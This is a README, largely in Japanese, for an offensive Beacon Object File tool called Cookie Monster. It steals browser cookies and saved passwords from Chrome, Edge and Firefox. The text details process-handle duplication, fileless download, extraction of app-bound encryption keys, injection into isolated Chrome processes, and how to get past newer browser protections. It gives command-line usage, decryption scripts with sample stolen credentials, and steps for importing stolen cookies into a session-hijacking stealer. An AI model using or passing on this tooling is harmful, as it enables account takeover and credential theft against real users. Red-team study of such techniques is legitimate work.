
BOFベースのツールで、Chrome、Edge、Firefoxからハンドル複製とファイルレスダウンロードを通じてブラウザのクッキーと認証情報を抽出し、オフライン復号をサポートします。
BOFを通じてedge、chrome、firefoxのブラウザCookieを窃取します!
Cookie Monster BOFは、EdgeとChromeの両方についてWebKit Master KeyとApp Bound Encryption Keyを抽出し、CookiesファイルとLogin Dataファイルへのハンドルを持つブラウザプロセスを特定し、そのハンドルをコピーしてから、対象ファイルをファイルレスでダウンロードします。
Cookies/Login Dataファイルがダウンロードされたら、Python復号スクリプトを使用してそれらの機密情報を抽出できます!Firefoxモジュールはprofiles.iniを解析し、logins.jsonとkey4.dbファイルの場所を特定してダウンロードします。オフラインでの復号については、別のGitHubリポジトリを参照しています。
Chrome & Edge 127+のアップデート: 新しいChromiumブラウザのCookie(v20)は、Cookieの暗号化にapp bound keyを使用します。その結果、app_bound_encrypted_keyの取得がやや難しくなります。snovvcrashのおかげで、このプロセスは特権を昇格させることなく実行できます。ただし、プロセスがWebブラウザのアプリケーションディレクトリから実行されている必要があります。つまり、Chrome/Edgeにインジェクトするか、ブラウザと同じアプリケーションディレクトリからビーコンを起動する必要があります。
Chrome 157+では、実際のブラウザを2つ目のchrome.exe --isolatedプロセスとして起動する、非分離のランチャープロセスが実行される場合があります。分離が有効な状態で作成されたapp-boundキーは、Chromeの分離セキュリティ属性を持つ呼び出し元によってのみ復号できます。--isolatedのChromeプロセスにインジェクトしてください。ランチャーにインジェクトするとHRESULT 0x8004A018(kIsolationStateInvalid)が返されます。付随するWin32エラーは古い情報である可能性があるため(例えば122)、この状態の診断にはHRESULTを使用してください。
SYSTEMとして、ブラウザプロセスにインジェクトすることなくCookieを復号できます!ChromeのPostProcessData関数の復号方法を発見した@sdemiusと、その解説を提供した@b1scoitoに感謝します!Chrome 137+ではPostProcessData()関数が再び変更されました。@runassuがそれを解明してくれたことに感謝します!
最新のアップデートでは、@M1ndoのおかげでWebkit Master Keyの復号が追加されました。マスターキーはapp bound keyとともに自動的に復号されます。これを利用するには、Python復号スクリプトにキーを追加してください。主に、ローミングプロファイルが使用されている場合、Edgeに保存されたパスワード、または古い保存パスワードでこのキーが使用されるのを確認できます。
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
コンパイル前に、Linux 上に Mingw-w64 と make がインストールされていることを確認してください。
make
要件をインストールする
pip3 install -r requirements.txt
使用方法
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
例: Chrome/EdgeのCookiesファイルを復号する
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome AESキーでChrome Cookieを復号する
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome/EdgeのCookiesファイルを復号してjsonに保存する
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
https://cookie-editor.com/ で cookies JSON ファイルをインポートする
Chrome/Edge のパスワードファイルを復号する
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
FirefoxのCookieと保存された認証情報を復号する:
https://github.com/lclevy/firepwd
https://github.com/fkasler/cuddlephish でCookieを使用できるようにするため、decryptスクリプトにcuddlephishオプションを追加しました
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
このプロジェクトは、Mr-Un1k0d3r氏とその素晴らしい季節ごとの動画の助けなしには成し遂げられませんでした!
同氏のレッスンをぜひチェックすることを強くお勧めします!!!
Cookie Webkit マスターキー抽出ツール:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
ファイルレスダウンロード:
https://github.com/fortra/nanodump
Cookie とログインデータの復号:
https://github.com/login-securite/DonPAPI
App Bound キーの復号:
https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Chrome 137+ の Cookie を復号
https://github.com/runassu/chrome_v20_decryption